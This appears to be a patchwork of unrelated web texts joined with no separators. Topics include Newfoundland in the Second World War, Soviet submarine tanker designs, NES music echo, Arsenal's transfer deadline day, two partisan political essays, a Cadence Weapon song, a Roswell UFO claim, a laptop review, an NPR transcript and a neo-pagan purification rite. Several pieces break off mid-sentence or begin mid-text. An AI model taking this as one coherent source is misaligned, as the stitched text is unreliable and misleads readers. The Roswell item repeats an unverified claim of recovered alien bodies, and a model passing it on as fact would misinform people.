ww2dbaseNewfoundland's strategic location in the Battle of the Atlantic drew the attention of the British, the Canadians, and the Americans. The defense of Newfoundland largely fell on the shoulders of Canada and the United States. The Canadian contribution to the Newfoundland defense between 1940 and 1945 amounted to approximately C$65,000,000, expanding airfields, naval repair facilities, and coastal batteries. During the war, the Royal Canadian Air Force stationed aircraft and personnel at Gander and Botwood while the Canadian Army and the Royal Canadian Navy operated out of St. John's; about 16,000 Canadian military personnel were in Newfoundland at any given time. The Americans, who first arrived in Jan 1941 prior to the country's actual entry in the war, invested about US$100,000,000 in Newfoundland, building military structures, building hospitals, rebuilding the Holyrood-Argentia highway, etc.; at the end of the war, about 100,000 Americans were based in Newfoundland, generally at St. John's, Argentia, and Stephenville.
ww2dbaseThe need for labor at these bases meant Newfoundland's economic situation would begin to improve. Once on the verge of default in the 1930s, the 1940s Newfoundland prospered, so much so that it was loaning money to the United Kingdom to help fund war efforts.
ww2dbaseNewfoundland formed a small militia force shortly after the start of the European War. This unit would become the Newfoundland Regiment in 1943, 1,668-strong by the war's end. Although the regiment's name invoked memories of the 1st Newfoundland Regiment of the WW1-era, Newfoundland refused to raise the large sums of money required for an expeditionary force. Many of those who wished to fight, much like their American counterparts prior to US' entry into war, enlisted in the forces of Britain and Canada. 2,889 Newfoundland men enlisted in the British Royal Navy, 2,343 men in the British Royal Artillery (all of whom were assigned to either the 166th (Newfoundland) Field Regiment or the 59th (Newfoundland) Heavy Regiment), 712 men in the British Royal Air Force (some of whom served as nightfighter pilots in the No. 125 (Newfoundland) Squadron), 1,160 men in Canadian forces, and more than 500 women in the female branches of the Canadian military. About 1,000 military personnel from Newfoundland were killed during the war.
ww2dbaseAs the war moved toward its conclusion and Newfoundland out of economic difficulties, the dominion engaged in a new round of discussion in regards to its political future. While the bulk of the population swayed between re-acquiring independence and a union with Canada, a growing movement looked to joining the United States. Canada viewed this sentiment with alarm, as it feared that United States might have long term interests in Newfoundland, which conflicted with Canadian designs. The movement for a union with the United States was suppressed by Britain, and in the interest of Allied cooperation the United States ignored this movement.
ww2dbaseAfter the war, in 1946, the Newfoundland National Convention chose to hold an election to determine the dominion's future. The first referendum, which took place in Jun 1948, was inconclusive. The second, which took place a month later, showed that 52% of the population was in favor of a union with Canada. On 31 Mar 1949, Newfoundland officially became a Canadian province.
ww2dbaseThe United States Air Force retained Stephenville and the United States Navy retained Argentia as miltiary bases until 1966 and until 1994, respectively. In 1946, the USAF established the Pepperrell Air Force Base in St. John's, operating it until 1961.
ww2dbaseSources:
Newfoundland and Labrador Heritage
Wikipedia
Last Major Update: Jun 2012
Events Taken Place in Newfoundland
Atlantic Charter Conference 9 Aug 1941 - 12 Aug 1941 Weather Station Kurt 22 Oct 1943 - 23 Oct 1943
Photographs
Newfoundland in World War II Interactive MapLast month, I appeared on the Australian Broadcasting Corporation’s popular weekly television programme, Q & A (Question and Answer), which broadcasts live before an audience that poses questions to a panel. I had been told that there would be a bias against me, the ABC being anticonservative. I’m glad to report, however, that I felt no such bias: I could hardly have |
of a submarine LST produced in the 1950s for Mechanix Illustrated magazine and presented to the Navy Department. This was a 10,000-ton submarine, 720 feet long, with a beam of 124 feet that could carry 2,240 Marines, landing them by "amphibious flying platforms" that could move at 100 mph. Thus ended the design of large minelaying/ transport/replenishment submarines in the Soviet Union. But there still was some interest in submarine tankers. In the 1960s TsKB-57 undertook the design of a large submarine tanker, Project 681, intended primarily for commercial operation. With two VM-4 nuclear reactor plants, the submarine would have a surface displacement of 24,750 tons. Subsequently, TsKB-16 began design of another nuclear-propelled submarine tanker in 1973, Project 927, but neither of these projects was pursued. There was yet again interest in submarine tankers - and container submarines - in Russia in the 1990s. The Malachite bureau (formerly TsKB-16/143) put forward preliminary designs for a submarine capable of transporting petroleum or freight containers, especially in the Arctic region. Envisioning under-ice navigation between European and Asian ports, and possibly northern Canada, the Malachite designers noted, "Given equal cargo capacity, the efficiency of an underwater container ship is considerably higher, for example, than that of an icebreaker transport ship of the Norilsk type. The underwater tanker is competitive." Malachite proposed tankers and container variants of the same basic nuclear submarine design employing an elliptical cross-section. The tanker variant would transport almost 30,000 tons of petroleum, which could be loaded and discharged from surface or underwater terminals. The underwater container carrier could transport 912 standard (20-foot) freight containers, loaded through a series of hatches. It was estimated to take 30 working hours to load or unload a full shipload. Large cargo hatches and an internal container-moving scheme would facilitate those operations. A single-reactor, single-shaft propulsion plant was proposed with three diesel generators for maneuvering in harbor and for ship electrical needs. Two of the diesel generators would be fitted to work as closed-cycle/Air Independent Pro-pulsion (AIP) systems for emergency under-ice operation. Thirty tons of oxygen was to be carried to provide an AIP endurance of 20 hours at a speed of seven or eight knots. No detailed design or procurement followed as Russia fell into financial extremis during the post-Soviet era. Noted U.S. naval authority Norman Polmar is the author of Ships and Aircraft of the U.S. Fleet and - with Thomas B. Allen - Rickover: Controversy and Genius. The above article was adopted from the forthcoming book Cold War Submarines: The Design and Construction of U.S. and Soviet Submarines (Brassey's, 2002).NES Audio: Single Channel Echo in Moon Crystal
In a previous post, I explored a technique for single channel echo utilized by Neil Baldwin. I wanted to demonstrate another example that’s found in a Japanese game:
Moon Crystal by Tsukasa Tawada features this effect in a couple of its tracks. It’s accomplished by writing a pattern of notes, and then inserting a copy of those notes in-between itself at a reduced volume. In musical terms, it’d be like taking a pattern of 16th notes, then doubling the notes up so that you have 32nd notes instead.
Additionally, to exaggerate the impact of the echo effect, the notes can be shifted so that the quieter in-between note isn’t a softer version of the note immediately before it. Instead, it’s delayed and falls after the next note. Here’s the beginning of the part heard at 4 seconds into the above video:
The basic melody without echo is shown on the left, what you hear in-game is shown on the right. 8 and 4 are the volumes of the notes (you can ignore the number “15”, that was the designation of the instrument I was using).
The notes (without volume commands) would look like this in sheet music:
(^before the effect)
(^after the effect)Yesterday was the weirdest day in the football calendar: transfer deadline day. What makes it so insane? Well, it's the last day of a pre-allocated period of time in which European football clubs are allowed to buy and sell players.
If this concept weren't already exciting enough, the media – and, in particular, Sky Sports News – have seized upon what should really just be a bureaucratic bookend and turned it into something resembling a national holiday for banter merchants, plastic fans, diehards and stats nerds alike. People take the day off work for it, they throw parties for it, they phone in reports of players they pretend to have seen at airports and motorway service stations for it. It's turned previously anonymous media journeymen like Jim White and Andy Burton into celebrities and is now more important a day than the League Cup Final.
Complicit in this are the people who actually run football clubs, who are often fairly stupid, very competitive and convinced of their own prowess as arch, ball-breaking negotiators. Their tendency to leave two months' worth of business down to the very last day, means that for 24 hours English football exists in a state of chaos, a crazy flux in which almost anything seems possible.
I've always observed transfer deadline day from my sofa but this year I wanted to throw myself into the midst of it. So I decided to head to the Emirates, where a small band of Arsenal fans had gathered to anticipate the signing of Real Madrid's blobfish-faced genius Mesut Özil.
For the best part of a decade, Arsenal have been busy forging a reputation as misers, cast into a relative povvos' wilderness by petrodollar billionaires and the Emirates itself, which cost a shit ton of money to build. Özil's signing would mean more to the fans than a bit of added creativity in midfield. This would be a statement of intent from the club, meant to signal their arrival back in the big time. Anything less than Özil could mean a misery-riot on the streets of North London.
Arriving there in the dusk, a small but hardy bunch of fans had gathered outside the stadium. As a Chelsea fan, I felt strangely uneasy about being there, like I was hitching a ride on somebody else's emotion-wagon. Here I was, behind enemy lines and vicariously feeling the innermost hopes and desires of a group of (mostly) men who all seemed to be awaiting the birth of the same baby.
The crowd was mostly comprised of young men in sportswear, who huddled together on steps cross-referencing rumours on Twitter, anxiously pacing up to each other saying things like "Tancredi Palmeri says Man U just put in a late bid!"
They seemed happy enough though, possessing that fans' curse of finding a kind of contentment through mass mutual agonising.
At the centre of the fans was a small camera crew from Sky Sports News. It's funny, you watch these things on TV and expect a smooth operation, but they seemed as lost as anyone; just a couple of fat blokes who didn't want their cameras to get smashed.
The host was this guy, Geraint Hughes. He spent much of the early evening with his phone locked to his ear, speaking to club representatives in a slightly-too-loud manner that reminded me of when my mum used to pretend to call Father Christmas to tell him not to bother this year. He looked a bit like an affable young headmaster or Mayor Quimby from The Simpsons, his slick manner at odds with the hysterical crowd of whooping rudeboys growing behind him.
It was his job to provide a series of teasing video links throughout the evening as the story developed, which probably seemed like a great idea to the people in the studio, but on the ground proved something of a logistical nightmare.
The pattern would go as follows: the camera would mount up outside a different part of the stadium, the crowd would get excited and run over to it, then they would wait around for a few minutes chanting "Red Army, Red Army, Red Army!"
Then Geraint would come over, and everyone would crowd around him for a few minutes as they thought he might be announcing Özil's signing. Then he'd say "Get back lads, we can't do it with you this close to the camera," but no one would listen to him.
Then everybody would stand back in fearful anticipation, as though Geraint were a kind of town crier soon to announce the coronation of a new king. But time and time again he'd just say something like "Patience is a virtue, and Arsenal fans sure do have a lot of it!" and then everybody would sulk off to check Twitter again.
This continued for several hours in a weird informational striptease. What had initially been so alluring became quite tedious, and the crowd began to dwindle.
The more the announcement was delayed, the more potent was the sense of dread that fell over the crowd. Twitter was full of people saying "Surely it must be done by now" and "There must be a problem". People were beginning to curse Arsene Wenger, Arsenal's manager. Even the previously ebullient Geraint was looking a bit grim, his manner had slipped from that of a young Kennedy clan member on the campaign trail to that of a Scout Leader who's just realised he's left a kid behind.
As the smiles turned into screwfaces, it became clear that if this deal didn't go through, poor Geraint was going to have a bit of a situation on his hands. Perhaps he'd find himself taken out purely for being the closest member to the footballing establishment the fans could get their hands on. Like some unsuspecting meals on wheels worker getting their house firebombed by anarchists purely because they work at Westminster council.
At one point, Geraint even had a can thrown at him. He'd gone from a bringer of good tidings to just another cog in the oppressive machine that was conspiring to keep Arsenal from glory.
The saga dragged on into the darkness. The crowd grew more and more anxious. By this point, everyone looked sad, confused or both when Geraint delivered his updates to camera, like people who'd just been told they'd be spending Christmas Day in Terminal 5. Although one man had brought along a potato – or "spud" – with which to taunt the losers of the previous day's local derby: Spurs.
I guess that's what's so good about football really, that it carries enough emotional heft to convince a man to spend the bulk of his Monday evening trying to get a potato on television, purely to wind up some Tottenham fans he will never meet.
But then it happened. At just after 10.30PM – four and a half hours after I'd arrived – the news that everybody was waiting for finally came. Geraint announced to the crowd that the deal had been done and he did so before even giving his spiel to camera. And for that, they loved him; he was now the man who held the scrolls that would change their destiny, the PR prophet, Moses with a radio mic. One fan at the back of the crowd even gleefully announced that, "Right now us mandem are the only mandem in the country that know right now." They went berserk, drowning him in limbs and club paraphernalia like he was a confused dad at a Pendulum concert.
The cameras swooped in on the fans, who were now caught up in a mass slam dance, screaming every song they could remember, ecstatically bellowing "Özil is a Gooner!" towards the tower blocks and silvery London clouds overhead.
It seemed that nobody could stop grinning. This was a club that had taken a lot of shit in recent years, and finally they were competing with the big boys again. I felt like I was present at the birth of a new king.
Geraint had retreated into his van in a flurry of handshakes and selfies, beers had been bought and now the jubilant masses had started something of a makeshift parade heading north down the Hornsey Road, stopping traffic and banging on car windows.
I wondered if Mesut Özil had ever imagined he would one day make some strange men in London this happy. While I wasn't on the ground to witness the Mardi Gras that greeted Stephen Ireland's arrival at Stoke, this was turning into quite a spectacle.
People will no doubt look at the image of a guy in trainers splaying himself against a police van as a show of civil disobedience or an indicator of the thuggery and stupidity of football fans. But honestly, it was nothing like that. It was just a display of pure, uncontainable joy; the kind you rarely ever see in public, especially not in London (and especially not from Arsenal fans). Even the cops were laughing and the cops hate everything.
Then everyone decided to sit down in the middle of the road because they "hate Tottenham". But there were no Tottenham fans there to see this show of faith, just some recycling workers and our camera (Geraint and the Sky Sports News team were long gone by this point). You can see why people mock transfer deadline day as the commercialisation of football writ large but there seemed to be a sense of genuine togetherness on display here.
I came out realising that transfer deadline day has joined the pantheon of those typically bizarre British traditions, like Morris Dancing, Glastonbury, Notting Hill Carnival or that hill that people chase cheese down. It applies to most of Europe, yet it's the Premier League fans who seem most keen to turn it into this display of weird street pageantry and hysteria. Sometimes it almost seems as if we prefer it to the actual football – maybe because the sad truth is that despite the moments of brilliance, 90 percent of football is Jonjo Shelvey screwing shots tamely across goal and Scott Parker passing to himself.
There's not much to cheer about in Britain these days, but football remains something that we can get excited about. The people involved in last night's proceedings weren't the miserable bastards who call up Stan Collymore to whine about referees, they were local people who love their club and wanted to do something out of the ordinary on a Monday night. They wanted to throw themselves into the drama and the chaos of deadline day, and of football as a whole.
It was a joyous, invigorating, tense experience that kind of restored my faith in football as a force for good, a thing born of community. And I say that as a fucking Chelsea fan.
Follow Clive on Twitter: @thugclive
Find more of Tom Johnson's photography here.
Previously:
Alan Pardew Must Pay for His Deal with the Devil
A Big Night Out... at the Worst Club Night Ever?
Hanging Out with Druids... On Acid!Peter Wehner, a Republican who has served in the administrations of both Presidents Bush and Reagan and now serves as a senior fellow at the Ethics and Public Policy Center (a conservative think tank), has an essay in today’s New York Times in which he talks about why he no longer calls himself an “evangelical Republican.”
The short answer? Both words have become irredeemably tarnished by the people currently using the words to their advantage.
… I consider Mr. Trump’s Republican Party to be a threat to conservatism, and I have concluded that the term evangelical — despite its rich history of proclaiming the “good news” of Christ to a broken world — has been so distorted that it is now undermining the Christian witness. … Assume you were a person of the left and an atheist, and you decided to create a couple of people in a laboratory to discredit the Republican Party and white evangelical Christianity. You could hardly choose two more perfect men than Donald Trump and Roy Moore.
It’s not just the two men, says Wehner. It’s the fact that the entire establishment, elected Republicans and the party itself, have latched onto both men instead of denouncing them fully. These aren’t a couple of bad apples in the barrel. In this case, the entire orchard needs to burn down and start over.
Just to echo a key point here, Trump and Moore weren’t created by liberal atheists — as if Democrats weren’t mostly Christians, too — they were products of the marriage between the GOP and evangelical Christianity. When you throw critical thinking and common decency out the window, as those groups have done for years, what else were we to expect?
It’s always nice to hear a conservative say he’s fed up with all this, and Wehner gets credit for doing it publicly instead of behind closed doors, but I would take issue with the idea that all of this change only happened recently. Wehner worked for presidents who did plenty to discredit both the Republican party and conservative Christianity. If anything, Trump’s biggest problem is that he says out loud what Republicans have mostly believed privately.
The GOP will gerrymander and work to prevent black people from voting, but only Trump pursued a commission to etch that into policy under the guise of stopping (virtually non-existent) voter fraud. The GOP has long tried to make life worse for LGBTQ people, but Trump’s the one who tried to ban transgender people from the military with a tweet based on nothing more than a whim. (He didn’t even waste his time trying to pretend there was just cause for his bigotry because the anti-LGBTQ sentiment in the party has never been about reason.) Republicans have always been a problem for public education, but Trump is the one who put someone in charge of the Department of Education who openly waged a war against it in her home state. We could do this for so many issues that the GOP is pursuing now.
The point is: Conservative Christianity wasn’t any better under, say, George W. Bush. The Republican Party has always endorsed bigots, pursued racist policies, and advocated for evidence-free policies based on evangelical Christian dogma. Perhaps it’s hit a fever pitch now, but it sure as hell isn’t new. (Are we supposed to ignore the election of Ted Cruz? The nomination of Sarah Palin for Vice President?)
Trump and Moore are just the latest incarnations of what the GOP has been for a long time. The party didn’t “leave” people like Wehner. The problem is that people like Wehner never pushed back against a party that was so clearly headed in this direction when they had the opportunities to do so. They remained silent when critics pointed out what was happening. And very few openly endorsed the Democrats who had the ability to stop the derailing train.
Also note how Wehner never once mentions, much less praises, Barack Obama, who was openly Christian and said as much during his time in office. Republicans who can’t stop bragging about how much Trump talks about Christianity — though he rarely walks the walk — never did that during Obama’s time in office. Maybe because they were too busy spreading lies about his supposed Muslim faith.
The hypocrisy isn’t new. It’s always been there. So while Wehner should be commended for his essay, large parts of it could have been written years ago, just with different names.
(Image via Shutterstock)Members of Oilers Nation have a new anthem.
Rapper Cadence Weapon — a.k.a. Roland "Rollie" Pemberton — has dropped a track celebrating the team, and their venerated captain Connor McDavid.
When the boys in copper and blue clinched a spot in the NHL playoffs for the first time since 2006 Tuesday night, a kind of hysteria took hold in Alberta's capital city.
'It was like a fever pitch'
And the Edmonton-born rapper took advantage of the excitement and released his new single, titled Connor McDavid.
"I felt the energy when I was in Edmonton over the holidays and it was like a fever pitch," said Pemberton. "People were going so crazy about Connor McDavid and the Oilers and I wanted to harness that energy in a song, and it feels like the timing is perfect now."
Produced by Gibbs and Cadence Weapon, the song features a marching band-style of beat and lyrics like "Skatin' on your whole team" and "Anticipated when I came in, we'd we be winnin' when the game ends."
There's also plenty of other NHL shoutouts, with references to Wayne Gretzky, Milan Lucic, and even the Ice District.
Pemberton wrote the song during McDavid mania last year. But he couldn't resist releasing it when the Oilers cemented their place in the playoffs.
"I was watching the Oilers this season and I was getting hyped. I was looking at some highlights of Connor McDavid playing, and I thought, 'Wow, there is something special happening.'
with the Oilers making the playoffs last night, felt like a good time to drop this <a href="https://t.co/Bmfj2rTY6O">https://t.co/Bmfj2rTY6O</a> <a href="https://twitter.com/hashtag/yeg?src=hash">#yeg</a> <a href="https://twitter.com/hashtag/stanleycupplayoffs?src=hash">#stanleycupplayoffs</a> —@cadenceweapon "And I started having a vision of making a song to hype up the Oilers. I wanted to make something that I can envision people in their trucks, blasting on their way to the games."
The song is meant to be an "Edmonton pride" song, said Pemberton who served as Edmonton's poet laureate in 2009. He hopes it will bring fans back to the team's former glory days, but without the riots.
"I remember the last time we were in the playoffs, it was a very heartbreaking loss in the Stanley Cup," said Pemberton. "I was living on Whyte Ave. at the time so I was caught up in all the madness that was happening," he said.
"So I hope there is that kind of high energy and excitement in the games, but maybe with less fires."
Since releasing the song a few hours after the end of Tuesday's game, Pemberton said the response from Edmontonians has been "amazing." His inbox and Twitter feed has been flooded with "excitement about the song."
But there's still a person he's waiting to hear from: Connor McDavid.
"I hope he does get a chance to listen to the song, and I hope he appreciates the sentiment," said Pemberton. "I would love it if the Oilers had a chance to get hyped in the locker room to the song,
"That's really what I made it for. I want it to be that extra bit of motivation."Here are the differences between George W. Bush’s invasion of Iraq in 2003 and the current United Nations action in Libya:
1. The action in Libya was authorized by the United Nations Security Council. That in Iraq was not. By the UN Charter, military action after 1945 should either come as self-defense or with UNSC authorization. Most countries in the world are signatories to the charter and bound by its provisions.
2. The Libyan people had risen up and thrown off the Qaddafi regime, with some 80-90 percent of the country having gone out of his hands before he started having tank commanders fire shells into peaceful crowds. It was this vast majority of the Libyan people that demanded the UN no-fly zone. In 2002-3 there was no similar popular movement against Saddam Hussein.
3. There was an ongoing massacre of civilians, and the threat of more such massacres in Benghazi, by the Qaddafi regime, which precipitated the UNSC resolution. Although the Saddam Hussein regime had massacred people in the 1980s and early 1990s, nothing was going on in 2002-2003 that would have required international intervention.
4. The Arab League urged the UNSC to take action against the Qaddafi regime, and in many ways precipitated Resolution 1973. The Arab League met in 2002 and expressed opposition to a war on Iraq. (Reports of Arab League backtracking on Sunday were incorrect, based on a remark of outgoing Secretary-General Amr Moussa that criticized the taking out of anti-aircraft batteries. The Arab League reaffirmed Sunday and Moussa agreed Monday that the No-Fly Zone is what it wants).
5. None of the United Nations allies envisages landing troops on the ground, nor does the UNSC authorize it. Iraq was invaded by land forces.
6. No false allegations were made against the Qaddafi regime, of being in league with al-Qaeda or of having a nuclear weapons program. The charge is massacre of peaceful civilian demonstrators and an actual promise to commit more such massacres.
7. The United States did not take the lead role in urging a no-fly zone, and was dragged into this action by its Arab and European allies. President Obama pledges that the US role, mainly disabling anti-aircraft batteries and bombing runways, will last “days, not months” before being turned over to other United Nations allies.
8. There is no sectarian or ethnic dimension to the Libyan conflict, whereas the US Pentagon conspired with Shiite and Kurdish parties to overthrow the Sunni-dominated Baathist regime in Iraq, setting the stage for a prolonged and bitter civil war.
9. The US has not rewarded countries such as Norway for entering the conflict as UN allies, but rather a genuine sense of outrage at the brutal crimes against humanity being committed by Qaddafi and his forces impelled the formation of this coalition. The Bush administration’s ‘coalition of the willing’ in contrast was often brought on board by what were essentially bribes.
10. Iraq in 2002-3 no longer posed a credible threat to its neighbors. A resurgent Qaddafi in Libya with petroleum billions at his disposal would likely attempt to undermine the democratic experiments in Tunisia and Egypt, blighting the lives of millions.Conspiracy theorists claim a blurry letter seen in a picture could be the key to solving the Roswell UFO mystery.
The photo shows Air Force General Roger Ramey crouching over debris which was claimed to be from the Roswell Crash.
He appears to be holding a memo, which UFO researchers believe could be key in finally unlocking what happened in the New Mexico desert 70 years ago.
Air Force General Roger Ramey can be seen holding the memo in his left hand while examining remains of the 'weather balloon'
UFO researcher David Rudiak claims the letter makes reference to a wreck "victims"
David Rudiak, a UFO researcher, has used modern technology to zoom on the letter.
Alejandro Rojas, a presenter for Open Minds Radio, told Express Online: 'He [David] says it is clear that there is a reference to a disc and believes he can also make out a portion of a sentence that reads "and the victims of the wreck".
'Rudiak says this proves that a disc-shaped craft was recovered.
'However, perhaps more startling, he says it also corroborates the claims that extraterrestrial bodies were recovered from that wreck.'
The 1947 Roswell incident is one of the most controversial UFO episodes in history.
The military initially announce that a flying saucer had been found near the New Mexico town
However the statement was retracted and it was stated that a weather balloon had crashed
A weather balloon,used to monitor nuclear tests, allegedly crashed in the New Mexico desert.
However in a stunning development the military announced the next day that a crashed flying saucer had instead been found.
Roswell captured the public's imagination, and UFO enthusiasts have since flocked to the town
The statement was later retracted, but not before it helped fuel one of the biggest UFO conspiracy theories ever.
Researchers claim that the military covered up the UFO crash with the later story about the weather balloon.
Today Roswell is a magnet for tourists and UFO theorists, all looking for their own clues.Be Kind, Unwind: How Helping Others Can Help Keep Stress In Check
Say it's Monday and it's a bad one. You overslept and definitely didn't shower, so your hair might smell and maybe you spill some coffee on your shirt while you're barreling toward the Metro, which is especially unfortunate because you're meeting with your boss at 9:30.
Just when you think your bloodstream has reached maximum cortisol saturation, a slow-moving elderly man steps between you and the train doors. Then he drops his wallet. Do you rush past him because you're too stressed to deal and there are plenty of other people around to step up — or do you help the guy out?
Emily Ansell thinks you should do the good deed, and not just because it's the nice thing to do. The psychiatry professor says lending a hand could actually help you feel less stressed out. Ansell co-authored a report with two of her Yale School of Medicine colleagues, Elizabeth Raposa and Holly Laws, that found as much.
Ansell and Co. gave participants a smartphone app that prompted them to record stressful experiences and small acts of kindness, like giving directions, holding an elevator or returning a stray wallet to its owner. The effect of this "prosocial" or helping behavior was compelling. "It pretty much kept people feeling similar to days where they were not stressed at all," Ansell says.
Researchers already knew that people who are generally inclined toward altruism tend to be happier and live longer than those who aren't. What Ansell and her colleagues discovered is that whatever your baseline level of antipathy may be, hating people a little bit less for the day can make you feel better. "It's not just whether you're more altruistic than the next person," Ansell says, "it's that being more altruistic than usual can change your experience from day to day. It's all about doing more than your average."
The two-week study published this month in Clinical Psychological Science followed 77 adults ages 18 to 44. The results showed that those who helped others more in a day reported higher levels of positive emotion that day. Behavior also had an impact on how they responded to stress. On days when participants reported fewer instances of helping others than their average they had a more negative emotional reaction to stress; when they held elevators and opened doors more than usual, it sheltered them from the negative effects of stress –they reported no decrease in positive emotion that day and lower than their average negative response to stress.
Earlier research has found similar improvements in stress in spouse caregivers, says Michael Poulin, a professor of psychology at the University at Buffalo who co-authored that 2010 study. The investigation led by Ansell used a general sample population, which suggests the findings might apply more universally. But neither study explains exactly how helping others works to buffer stress and improve emotional well-being. "We don't know what the active ingredient is," Poulin says. "Nobody has captured that yet."
That's exactly what he's after. Poulin and his colleagues have evidence from two forthcoming studies that suggests thinking about someone else in need reduces the ability to conjure up words relating to the self. If you're caretaking, they suggest, you literally cannot think about yourself as quickly as you could otherwise. He says that's part of what might be unique to helping behavior, as opposed to hanging out with friends or other positive social contact.
"When you are thinking about helping other people you're simply not thinking as much about yourself and your problems," says Poulin. And that may reduce the effects of stress. "In essence it's a kind of distraction," he adds, "but a more satisfying distraction that surfing the Web or binge-watching House of Cards."
Other research indicates that certain emotions associated with caregiving, like compassion, stimulate the release of oxytocin, a powerful hormone thought to drive maternal behavior and social attachment, and prompt other physiological changes that result in a calming effect.
"It is wired within us that when we care and nurture it affects our physiology in a very positive way," says neuroscientist James Doty, who founded Stanford's Center for Compassion and Altruism Research and Education. "That is the reward for caring." Evolutionarily speaking, Doty says, humans need this reward for survival because our big-brained babies require so many years of selfless care.
It may be a stretch to connect that evolutionary trajectory to picking up a wallet for a stranger, Poulin says, but the theory seems logical enough. He's reluctant to ignore a far more simple explanation, though: as a society, we tend to reward people who do good things, so we learn to feel good about helping others. "That could have nothing to do with evolution," Poulin says, "other than the fact that we evolved to be social."
Whatever the reason helping behavior brings us benefits, the new study's authors want to figure out how to harness it to help more people. For Emily Ansell, the next step is to figure out if prescribing prosocial behavior could help those who struggle with anxiety, depression or other mood disorders. Ansell says using a smartphone app to deliver suggestions about how to alter behavior could help people manage stressful periods or arrest the progression of mental health problems.
But before you embark on a mission to do good, a caveat: You can't fake it. "You have to come from a place of authenticity," says Emma Seppala, who directs the Stanford program with Doty. "If you're doing it for explicitly selfish reasons, it's unclear whether you'll get benefits."ASUS unveiled its new ultrabook, the UX 21/31 or “Zenbook,” at an event in New York yesterday. The smallest 11-inch version of the Windows 7 computer has an Intel Core i5 processor, weighs 2.43 pounds, and is priced at $999. The Zenbook has beaten all the other manufacturers to market, as it is the first ultrabook available starting today.
The Zenbooks are brushed aluminum unibody—er, “monoshell,” as ASUS puts it. The bladelike notebooks are 0.11 inches thick at the front and 0.67 or 0.71 inches thick at the back for the 11-inch and 13-inch versions, respectively—nigh-identical dimensions to the MacBook Air. The 11-inch version of the Zenbook doesn’t have the wide-and-squat screen the 11-inch Air does, but has the same 1366x768 native resolution; the 13-inch Zenbook’s screen is 1600x900.
Each notebook comes with one USB 3.0 port in addition to one USB 2.0, microHDMI out, and a miniVGA display connector, with USB-to-Ethernet and miniVGA-to-VGA adapters included in the box. The 13-inch model also has a built-in SD card reader. 4GB of RAM is standard in all models, and both sizes can be configured with either Intel Core i5 or i7 processors (1.6GHz Core i5‐2467M for the 11-inch, 1.7GHz Core i5‐2557M for the 13-inch, and 1.8GHz Core i7-2677M for both). The base 11-inch model has a 128GB SSD, and the most pricey versions of the 13-inch can be configured with a 256GB SSD.
A 0.3-megapixel camera is centered above the screen, and the battery life is rated at 5 hours for the 11-inch model and 7 hours for the 13-inch model. ASUS is also touting the “instant-on” capability of the Zenbook, which brings up the desktop in less than two seconds when it is opened. Standby time is where the Zenbook falls far short of the rival it is targeting in every other way—the 11-inch gets up to 7 days, and the 13-inch up to 10 days (all MacBook Airs get up to 30).
During our hands-on time, the Zenbook felt very solid—not a creaky hinge or flexing part to be found. We could open the notebook without the entire thing tipping backwards, unlike some versions of the MacBook Air. The aluminum keys are small and spaced unusually wide by black plastic, a design we didn’t find very appealing to type on.
The unified design of the trackpad felt unusual, though its click was responsive and deep enough. The viewing angles on the screen were not great and had some distortion off to either side, and the screen as a whole was sharp, but its colors a bit dull.
The entry-level 11-inch model of ASUS’s Zenbook is priced at $999, and the line tops out at $1,449 for a 13-inch model with a Core i7 processor, and 256GB SSD. The entire line is available starting today. It's a thin and light Windows ultrabook; here's hoping it can fulfill the rest of Peter Bright's wishes.
Listing image by arstechnica.comSyrian Refugee And German Scientist Make An Unlikely Team
German scientist Matthias Schmidt wants to extract rare earth metals from abandoned mines using bacteria. He has an unlikely partner — Nedal Said, a Syrian refugee scientist who escaped Aleppo.
ARI SHAPIRO, HOST:
Now for a story about an unusual partnership - two scientists trying to find a way to recover valuable metals from abandoned mines. It's happening in Leipzig. NPR's Joe Palca went to Germany to learn more.
JOE PALCA, BYLINE: In the lower level of a building on the campus of the Helmholtz Centre for Environmental Research, there's a modern, well-equipped laboratory.
MATTHIAS SCHMIDT: We've got a number of different microscopes. Then we've got a laser microdissection system here.
PALCA: Matthias Schmidt is giving me a tour of the lab. Microscopes and laser microdissection systems are useful if you happen to be studying single cells or bacteria. So what are they doing in a lab that's trying to recover valuable metals from abandoned mines? Well, here's the deal. Schmidt says even when all the gold and silver in a mine has been removed, there are what's called rare-earth metals left behind in the mine tailings. For a long time, no one was particularly interested in these metals. But now they're valuable, showing up in everything from cell phones to self-cleaning ovens.
SCHMIDT: So one could think of extracting these metals somehow.
PALCA: But extracting the metals isn't easy.
SCHMIDT: These mine tailings, they cannot be processed chemically or mechanically at reasonable cost.
PALCA: Schmidt says there's another way to capture the valuable metals - let bacteria do it for you. He says some bacteria can basically eat these metals, concentrating them in their innards. The trick is to figure out which bacteria can do this.
SCHMIDT: And of course, they don't carry a sign in their hands and say, OK, here I am. But somehow you have to identify them.
PALCA: That's what Schmidt is trying to do. He's developing special microscopes and other tools that can spot the bacteria with just the right properties. Now, Schmidt is a physicist. He knows how to make tools. He needed a good microbiologist who knew about bacteria to help him in his quest. This is where the unusual partnership comes in.
NEDAL SAID: (Foreign language spoken).
PALCA: That's Nedal Said.
SA |
*waíhtōs and the *gardawaíhts, as well as a minor offering to our Ancestors, collectivelly or to a specific one, and the whole process when invoking a #cofgod#, an Ancestor or a god to a more formal purpose.
The simple purification can be done by washing the face and the hands focusing the whole thought in this act, maybe calling upon *Donaws, as a watery deity, to take the uncleanliness from the body and the soul, and restore purity again.
The complex process of purification can involve an almost entirely separate rite in itself. For more sacred purposes Sáuilaþiudōs Haírþō advises the use of a bowl of water and a focus of fire, like a candle. It is also advisable that any member who will join the ritual take a shower before it.
The practioner (if not alone, then being the gardawaldands) dips his hands in the bowl, and say:
“*Donaws, purify my hands,
So they can clean us
May my hands be the contact point
Between us and the Wise Ones“.
Then he or she puts all his mahts in this act, focusing the attention and channeling all what is unclean in the water. Then the practioner says as follows:
“*Donaws, purify my spirit, so I can cross
Through the river through the Rainbow Bridge.
May my intentions and my desire be pure,
May my relationships be healthy with anyone,
May I be true, may my kuni have honor
And be welcomed in the land of the Wise Ones“.
Then he or she puts all his mahts in the desire of spiritual cleanliness, and channels it through him or herself (as well as visualize it through the community, if he or she is not alone) while touching his or her forehead. Then the gardawaldands dips his hands in the water again and says, while touching his mouth:
“*Donaws, purify my intentions and my words
May they be sacred, may our oaths be object of our inner will,
May everything that come out from my mouth be sacred
And valorous and worthy of acceptance by the Wise Ones”.
Then the rite can go to the invokation.
